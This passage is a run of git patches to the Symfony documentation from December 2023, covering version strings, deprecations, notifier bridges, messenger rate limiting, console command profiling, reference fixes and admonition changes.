--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.0.*@dev" --webapp
+    $ symfony new my_project_directory --version="7.0.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.0.*@dev"
+    $ symfony new my_project_directory --version="7.0.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.0.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 46de3924533620cd415c2f5f3d5123b134c96da7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 13 Dec 2023 08:52:43 +0100
Subject: [PATCH 5524/7107] [Cache] Deprecate `CouchbaseBucketAdapter`

---
 components/cache/adapters/couchbasebucket_adapter.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index c279e1f8780..8927a8c53f8 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,6 +1,12 @@
 Couchbase Bucket Cache Adapter
 ==============================
 
+.. deprecated:: 7.1
+
+    The ``CouchbaseBucketAdapter`` is deprecated since Symfony 7.1, use the
+    :doc:`CouchbaseCollectionAdapter </components/cache/adapters/couchbasecollection_adapter>`
+    instead.
+
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
 :doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's

From 62b41a0cd5c01d15731d637a00a1799e61b767b9 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 13 Dec 2023 09:36:51 +0100
Subject: [PATCH 5525/7107] remove 6.x versionnaded in webhook

---
 webhook.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 889f6bac174..8be38d80408 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -145,14 +145,6 @@ Twilio       ``notifier.webhook.request_parser.twilio``
 Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================
 
-.. versionadded:: 6.3
-
-    The support for Twilio was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The support for Vonage was introduced in Symfony 6.4.
-
 For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
 consumer::
 

From 6de3f76d83cae369726403e8af132cadfa492da3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Dec 2023 10:30:46 +0100
Subject: [PATCH 5526/7107] remove versionadded directive for Symfony 6

---
 security.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/security.rst b/security.rst
index 2c67ec8d073..e275ec4add0 100644
--- a/security.rst
+++ b/security.rst
@@ -1857,11 +1857,6 @@ you have imported the logout route loader in your routes:
             $routes->import('security.route_loader.logout', 'service');
         };
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Bundle\\SecurityBundle\\Routing\\LogoutRouteLoader` was
-    introduced in Symfony 6.4.
-
 Logout programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From bdaed89e5e388875256e3528154ea39bfd0da078 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Dec 2023 16:43:30 +0100
Subject: [PATCH 5527/7107] Minor tweak

---
 routing.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/routing.rst b/routing.rst
index 66cd714e782..4b109a5f166 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1603,14 +1603,11 @@ information in a controller via the ``Request`` object::
         }
     }
 
-To get this information in a service, see :doc:`/service_container/request`.
-In templates, you can use the :ref:`Twig global app variable <twig-app-variable>` to get
-the current route and its attributes:
-
-.. code-block:: twig
-
-    {% app.current_route %}
-    {% app.current_route_parameters %}
+In services, you can get this information by
+:doc:`injecting the RequestStack service </service_container/request>`.
+In templates, use the :ref:`Twig global app variable <twig-app-variable>`
+to get the current route name (``app.current_route``) and its parameters
+(``app.current_route_parameters``).
 
 .. versionadded:: 6.2
 

From dbc790bab4fa9058e11b31bfe9b2f672c20f246e Mon Sep 17 00:00:00 2001
From: Thomas Durand <thomas.durand.verjat@gmail.com>
Date: Thu, 14 Dec 2023 01:18:31 +0100
Subject: [PATCH 5528/7107] Added a paragraph about HttpOptions object

A note will be added for 7.1 to warn about the override behavior of ->setHeaders instead of newly added ->addHeader
---
 http_client.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index d05977e7155..137933a36e1 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -149,6 +149,16 @@ method to retrieve a new instance of the client with new default options::
 
     The ``withOptions()`` method was introduced in Symfony 5.3.
 
+Alternatively, the :class:`Symfony\\Component\\HttpClient\\HttpOptions` class brings most of the available options with
+type-hinted getters and setters::
+
+    $this->client = $client->withOptions(
+        (new HttpOptions())
+            ->setBaseUri('https://...')
+            ->setHeaders(['header-name' => 'header-value'])
+            ->toArray()
+    );
+
 Some options are described in this guide:
 
 * `Authentication`_

From 4d203f08b5bd5240fffd437b9fbbceeaadfed4cf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tomas=20Nork=C5=ABnas?= <norkunas.tom@gmail.com>
Date: Thu, 14 Dec 2023 07:50:06 +0200
Subject: [PATCH 5529/7107] [Form] Fix wrong return type for choice_loader

---
 reference/forms/types/options/choice_loader.rst.inc | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 502ddb125c7..95f670ec0fc 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -46,6 +46,7 @@ better performance::
     use App\StaticClass;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\ChoiceList\ChoiceList;
+    use Symfony\Component\Form\ChoiceList\Loader\ChoiceLoaderInterface;
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     use Symfony\Component\OptionsResolver\Options;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -61,13 +62,13 @@ better performance::
         {
             $resolver->setDefaults([
                 // the example below will create a CallbackChoiceLoader from the callable
-                'choice_loader' => ChoiceList::lazy($this, function() {
+                'choice_loader' => ChoiceList::lazy($this, function () {
                     return StaticClass::getConstants();
                 }),
 
                 // you can pass your own loader as well, depending on other options
                 'some_key' => null,
-                'choice_loader' => function (Options $options): array {
+                'choice_loader' => function (Options $options): ChoiceLoaderInterface {
                     return ChoiceList::loader(
                         // pass the instance of the type or type extension which is
                         // currently configuring the choice list as first argument

From 28992c996659dcc1b6d6dfa6150463758db70e43 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 14 Dec 2023 08:18:18 +0100
Subject: [PATCH 5530/7107] -

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 137933a36e1..d324b65bba8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -149,8 +149,8 @@ method to retrieve a new instance of the client with new default options::
 
     The ``withOptions()`` method was introduced in Symfony 5.3.
 
-Alternatively, the :class:`Symfony\\Component\\HttpClient\\HttpOptions` class brings most of the available options with
-type-hinted getters and setters::
+Alternatively, the :class:`Symfony\\Component\\HttpClient\\HttpOptions` class
+brings most of the available options with type-hinted getters and setters::
 
     $this->client = $client->withOptions(
         (new HttpOptions())

From ec2c1552d34507d6e5f8782570f72499f466929b Mon Sep 17 00:00:00 2001
From: Bob van de Vijver <bobvandevijver@users.noreply.github.com>
Date: Thu, 18 Aug 2022 12:28:18 +0200
Subject: [PATCH 5531/7107] [Messenger] Add messenger rate_limiter docs

---
 messenger.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 44bdb0f4c92..c5e15aa84e2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -904,6 +904,67 @@ running the ``messenger:consume`` command.
 
 .. _messenger-retries-failures:
 
+Rate limited transport
+~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The ``rate_limiter`` option was introduced in Symfony 6.2.
+
+Sometimes you might need to rate limit your message worker. You can configure a
+rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
+by setting its ``rate_limiter`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    async:
+                        rate_limiter: your_rate_limiter_name
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async">
+                        <option key="rate_limiter">your_rate_limiter_name</option>
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')
+                    ->options(['rate_limiter' => 'your_rate_limiter_name'])
+            ;
+        };
+
+.. caution::
+
+    When a rate limiter is configured on a transport, it will block the whole
+    worker when the limit is hit. You should make sure you configure a dedicated
+    worker for a rate limited transport to avoid other transports to be blocked.
+
 Retries & Failures
 ------------------
 

From 57f78401f85694b174572dadab73a0ffdab6380b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 14 Dec 2023 08:21:40 +0100
Subject: [PATCH 5532/7107] -

---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 58573dab7a9..25d6b519960 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -884,10 +884,6 @@ running the ``messenger:consume`` command.
 Rate limited transport
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The ``rate_limiter`` option was introduced in Symfony 6.2.
-
 Sometimes you might need to rate limit your message worker. You can configure a
 rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
 by setting its ``rate_limiter`` option:

From 4945d0a17411f8e697b4a9377db7a2c85d030514 Mon Sep 17 00:00:00 2001
From: Maelan LE BORGNE <maelan.leborgne@sensiolabs.com>
Date: Tue, 12 Dec 2023 10:14:13 +0100
Subject: [PATCH 5533/7107] [Console] Added documentation about command
 profiling

---
 console.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/console.rst b/console.rst
index b3c6f735545..1e76a9ab3f7 100644
--- a/console.rst
+++ b/console.rst
@@ -619,6 +619,36 @@ Using Events And Handling Signals
 When a command is running, many events are dispatched, one of them allows to
 react to signals, read more in :doc:`this section </components/console/events>`.
 
+Profiling Commands
+------------------
+
+When debug mode and the profiler are enabled, you can run a command with the
+``--profile`` option. Symfony will then collect data about the command execution.
+When the execution is over, the profile is accessible through the web page of
+the :doc:`Symfony Profiler </profiler>`.
+
+.. tip::
+
+        If you run the command in verbose mode (``-v``), Symfony will display
+        in the output a clickable link to the command profile (if your terminal
+        supports links). If you run it in debug verbosity (``-vvv``) you'll
+        also see the time and memory consumed by the command.
+
+        .. code-block:: terminal
+
+            $ php bin/console --profile -v app:my-command
+            ...
+
+            [OK] Command successful !
+
+            See profile f4ef63 # <- this is a clickable link if your terminal supports it
+
+```
+
+.. versionadded:: 6.4
+
+    The ``--profile`` option was introduced in Symfony 6.4.
+
 Learn More
 ----------
 

From 618d70bd04e7fd3ba455fe2b6207293c8ac1df88 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Dec 2023 13:37:50 +0100
Subject: [PATCH 5534/7107] Reword

---
 console.rst | 30 +++++++++++++-----------------
 1 file changed, 13 insertions(+), 17 deletions(-)

diff --git a/console.rst b/console.rst
index 30eba21f296..ce8d86bef37 100644
--- a/console.rst
+++ b/console.rst
@@ -622,28 +622,24 @@ react to signals, read more in :doc:`this section </components/console/events>`.
 Profiling Commands
 ------------------
 
-When debug mode and the profiler are enabled, you can run a command with the
-``--profile`` option. Symfony will then collect data about the command execution.
-When the execution is over, the profile is accessible through the web page of
-the :doc:`Symfony Profiler </profiler>`.
+Symfony allows to profile the execution of any command, including yours. First,
+make sure that the :ref:`debug mode <debug-mode>` and the :doc:`profiler </profiler>`
+are enabled. Then, add the ``--profile`` option when running the command:
 
-.. tip::
-
-        If you run the command in verbose mode (``-v``), Symfony will display
-        in the output a clickable link to the command profile (if your terminal
-        supports links). If you run it in debug verbosity (``-vvv``) you'll
-        also see the time and memory consumed by the command.
-
-        .. code-block:: terminal
+.. code-block:: terminal
 
-            $ php bin/console --profile -v app:my-command
-            ...
+    $ php bin/console --profile app:my-command
 
-            [OK] Command successful !
+Symfony will now collect data about the command execution, which is helpful to
+debug errors or check other issues. When the command execution is over, the
+profile is accessible through the web page of the profiler.
 
-            See profile f4ef63 # <- this is a clickable link if your terminal supports it
+.. tip::
 
-```
+    If you run the command in verbose mode (adding the ``-v`` option), Symfony
+    will display in the output a clickable link to the command profile (if your
+    terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
+    also see the time and memory consumed by the command.
 
 .. versionadded:: 6.4
 

From be9cb027cc149a1ae6f1b8b17339b0d21c02d661 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Fri, 15 Dec 2023 18:10:04 +0100
Subject: [PATCH 5535/7107] [Notifier] Add Bluesky notifier bridge

---
 console.rst  | 4 ----
 notifier.rst | 6 ++++++
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/console.rst b/console.rst
index 6a0806c730a..700ed536486 100644
--- a/console.rst
+++ b/console.rst
@@ -611,10 +611,6 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. versionadded:: 6.4
-
-    The ``--profile`` option was introduced in Symfony 6.4.
-
 Learn More
 ----------
 
diff --git a/notifier.rst b/notifier.rst
index 42f55201073..8cb9b87c0dd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -221,6 +221,7 @@ integration with these chat services:
 Service                                  Package                               DSN
 =======================================  ====================================  =============================================================================
 `AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+`Bluesky`_                               ``symfony/bluesky-notifier``          ``bluesky://USERNAME:PASSWORD@default``
 `Chatwork`_                              ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
 `Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 `FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
@@ -241,6 +242,10 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
+.. versionadded:: 7.1
+
+    The ``Bluesky`` integration was introduced in Symfony 7.1.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
@@ -942,6 +947,7 @@ is dispatched. Listeners receive a
 .. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
 .. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
 .. _`Bandwidth`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bandwidth/README.md
+.. _`Bluesky`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bluesky/README.md
 .. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Brevo/README.md
 .. _`Chatwork`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Chatwork/README.md
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md

From 734bd6b97e2bb1e8f36556f27b1dc7f35ae6d1c9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adrian=20G=C3=BCnter?= <adrianguenter@gmail.com>
Date: Fri, 15 Dec 2023 11:35:48 -0500
Subject: [PATCH 5536/7107] Remove semicolon marking previous end of statement

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 54a27d50407..0b83ff8e6e0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -263,7 +263,7 @@ reusable configuration value. By convention, parameters are defined under the
 
                 // PHP constants as parameter values
                 ->set('app.some_constant', GLOBAL_CONSTANT)
-                ->set('app.another_constant', BlogPost::MAX_ITEMS);
+                ->set('app.another_constant', BlogPost::MAX_ITEMS)
 
                 // Enum case as parameter values
                 ->set('app.some_enum', PostState::Published);

From dbcfe2f3bd91a421007e44ecc372f7f5294c27fc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 16 Dec 2023 09:57:50 +0100
Subject: [PATCH 5537/7107] -

---
 console.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/console.rst b/console.rst
index 6a0806c730a..700ed536486 100644
--- a/console.rst
+++ b/console.rst
@@ -611,10 +611,6 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. versionadded:: 6.4
-
-    The ``--profile`` option was introduced in Symfony 6.4.
-
 Learn More
 ----------
 

From e671f57144e41576403ce2f8c4781c9787fb0409 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 16 Dec 2023 13:23:18 +0100
Subject: [PATCH 5538/7107] Fix wrong reStructuredText references

---
 components/serializer.rst          |  2 +-
 configuration/multiple_kernels.rst |  4 ++--
 mailer.rst                         | 26 +++++++++++++-------------
 mercure.rst                        |  2 +-
 4 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9ce72892451..f6b2048a6bb 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -233,7 +233,7 @@ data.
 Context
 -------
 
-Many Serializer features can be configured :doc:`using a context </serializer#serializer-context>`.
+Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`.
 
 .. _component-serializer-attributes-groups:
 
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index cd654e5dbeb..2ecee747e38 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -53,7 +53,7 @@ requirements, so it's up to you to decide which best suits your project.
 
 First, create a new ``apps`` directory at the root of your project, which will
 hold all the necessary applications. Each application will follow a simplified
-directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
+directory structure like the one described in :doc:`Symfony Best Practice </best_practices>`:
 
 .. code-block:: text
 
@@ -321,7 +321,7 @@ Rendering Templates
 -------------------
 
 Let's consider that you need to create another app called ``admin``. If you
-follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
+follow the :doc:`Symfony Best Practices </best_practices>`, the shared Kernel
 templates will be located in the ``templates/`` directory at the project's root.
 For admin-specific templates, you can create a new directory
 ``apps/admin/templates/`` which you will need to manually configure under the
diff --git a/mailer.rst b/mailer.rst
index 3cdd0b207f3..4099724a68f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,19 +174,19 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-===================== ==================================================== =========================================== ========================================
-Provider              SMTP                                                 HTTP                                        API
-===================== ==================================================== =========================================== ========================================
-`Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-`Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-`Mandrill`_           mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
-`Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-`Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
-`Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
-`Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
-`Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-`OhMySMTP`_           ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
-===================== ==================================================== =========================================== ========================================
+===================== ======================================================== =============================================== ============================================
+Provider              SMTP                                                     HTTP                                        API
+===================== ======================================================== =============================================== ============================================
+`Amazon SES`_         ``ses+smtp://USERNAME:PASSWORD@default``                 ``ses+https://ACCESS_KEY:SECRET_KEY@default``   ``ses+api://ACCESS_KEY:SECRET_KEY@default``
+`Google Gmail`_       ``gmail+smtp://USERNAME:APP-PASSWORD@default``           n/a                                             n/a
+`Mandrill`_           ``mandrill+smtp://USERNAME:PASSWORD@default``            ``mandrill+https://KEY@default``                ``mandrill+api://KEY@default``
+`Mailgun`_            ``mailgun+smtp://USERNAME:PASSWORD@default``             ``mailgun+https://KEY:DOMAIN@default``          ``mailgun+api://KEY:DOMAIN@default``
+`Mailjet`_            ``mailjet+smtp://ACCESS_KEY:SECRET_KEY@default``         n/a                                             ``mailjet+api://ACCESS_KEY:SECRET_KEY@default``
+`Postmark`_           ``postmark+smtp://ID@default``                           n/a                                             ``postmark+api://KEY@default``
+`Sendgrid`_           ``sendgrid+smtp://KEY@default``                          n/a                                             ``sendgrid+api://KEY@default``
+`Sendinblue`_         ``sendinblue+smtp://USERNAME:PASSWORD@default``          n/a                                             ``sendinblue+api://KEY@default``
+`OhMySMTP`_           ``ohmysmtp+smtp://API_TOKEN@default``                    n/a                                             ``ohmysmtp+api://API_TOKEN@default``
+===================== ======================================================== =============================================== ============================================
 
 .. caution::
 
diff --git a/mercure.rst b/mercure.rst
index f53b49d6e3d..2b34c3c105b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -53,7 +53,7 @@ that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
-Thanks to :ref:`the Docker integration of Symfony </setup/docker>`,
+Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
 :ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 

From 9e47f5fe8489c1b6aadbb241a4fe30faf1aebfea Mon Sep 17 00:00:00 2001
From: Farhad Safarov <farhad.safarov@gmail.com>
Date: Sun, 17 Dec 2023 01:03:31 +0300
Subject: [PATCH 5539/7107] [Notifier] Add Unifonic notifier bridge

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 8cb9b87c0dd..b57f501687d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -98,6 +98,7 @@ Service             Package                                DSN
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
 `Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
+`Unifonic`_         ``symfony/unifonic-notifier``          ``unifonic://APP_SID@default?from=FROM``
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
 ==================  =====================================  ========================================================================================================================= ===============
@@ -244,7 +245,7 @@ Service                                  Package                               D
 
 .. versionadded:: 7.1
 
-    The ``Bluesky`` integration was introduced in Symfony 7.1.
+    The ``Bluesky`` and ``Unifonic`` integrations were introduced in Symfony 7.1.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
@@ -1008,6 +1009,7 @@ is dispatched. Listeners receive a
 .. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
 .. _`Twilio`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twilio/README.md
 .. _`Twitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twitter/README.md
+.. _`Unifonic`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Unifonic/README.md
 .. _`Vonage`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Vonage/README.md
 .. _`Yunpian`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Yunpian/README.md
 .. _`Zendesk`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Zendesk/README.md

From ac45c0cd625c69ed5ff5489f775447bbf16e6caa Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 17 Dec 2023 20:21:10 +0100
Subject: [PATCH 5540/7107] Mutate some `cautions` to `dangers`

---
 components/http_foundation.rst    | 2 +-
 components/lock.rst               | 6 +++---
 components/process.rst            | 2 +-
 components/yaml.rst               | 2 +-
 configuration.rst                 | 2 +-
 configuration/secrets.rst         | 2 +-
 controller.rst                    | 2 +-
 deployment/proxies.rst            | 2 +-
 http_cache/cache_invalidation.rst | 2 +-
 http_cache/ssi.rst                | 2 +-
 profiler.rst                      | 2 +-
 rate_limiter.rst                  | 2 +-
 reference/configuration/twig.rst  | 2 +-
 security.rst                      | 2 +-
 serializer.rst                    | 2 +-
 session.rst                       | 2 +-
 16 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 68d686ff211..e5d8be12b2d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -718,7 +718,7 @@ class, which can make this even easier::
 The ``JsonResponse`` class sets the ``Content-Type`` header to
 ``application/json`` and encodes your data to JSON when needed.
 
-.. caution::
+.. danger::
 
     To avoid XSSI `JSON Hijacking`_, you should pass an associative array
     as the outermost array to ``JsonResponse`` and not an indexed array so
diff --git a/components/lock.rst b/components/lock.rst
index 14c787e16cd..bac1f835b9a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -843,7 +843,7 @@ instance, to clean up the ``/tmp`` directory or after a reboot of the machine
 when a directory uses ``tmpfs``. It's not an issue if the lock is released when
 the process ended, but it is in case of ``Lock`` reused between requests.
 
-.. caution::
+.. danger::
 
     Do not store locks on a volatile file system if they have to be reused in
     several requests.
@@ -876,7 +876,7 @@ When the Memcached service is shared and used for multiple usage, Locks could be
 removed by mistake. For instance some implementation of the PSR-6 ``clear()``
 method uses the Memcached's ``flush()`` method which purges and removes everything.
 
-.. caution::
+.. danger::
 
     The method ``flush()`` must not be called, or locks should be stored in a
     dedicated Memcached service away from Cache.
@@ -984,7 +984,7 @@ be lost without notifying the running processes.
 When the Redis service is shared and used for multiple usages, locks could be
 removed by mistake.
 
-.. caution::
+.. danger::
 
     The command ``FLUSHDB`` must not be called, or locks should be stored in a
     dedicated Redis service away from Cache.
diff --git a/components/process.rst b/components/process.rst
index 12ee096df4e..d11618cb119 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -251,7 +251,7 @@ are done doing other stuff::
     **synchronously** inside this event. Be aware that ``kernel.terminate``
     is called only if you use PHP-FPM.
 
-.. caution::
+.. danger::
 
     Beware also that if you do that, the said PHP-FPM process will not be
     available to serve any new request until the subprocess is finished. This
diff --git a/components/yaml.rst b/components/yaml.rst
index 0f4f76ef05f..e9e16073282 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -239,7 +239,7 @@ And parse them by using the ``PARSE_OBJECT`` flag::
 The YAML component uses PHP's ``serialize()`` method to generate a string
 representation of the object.
 
-.. caution::
+.. danger::
 
     Object serialization is specific to this implementation, other PHP YAML
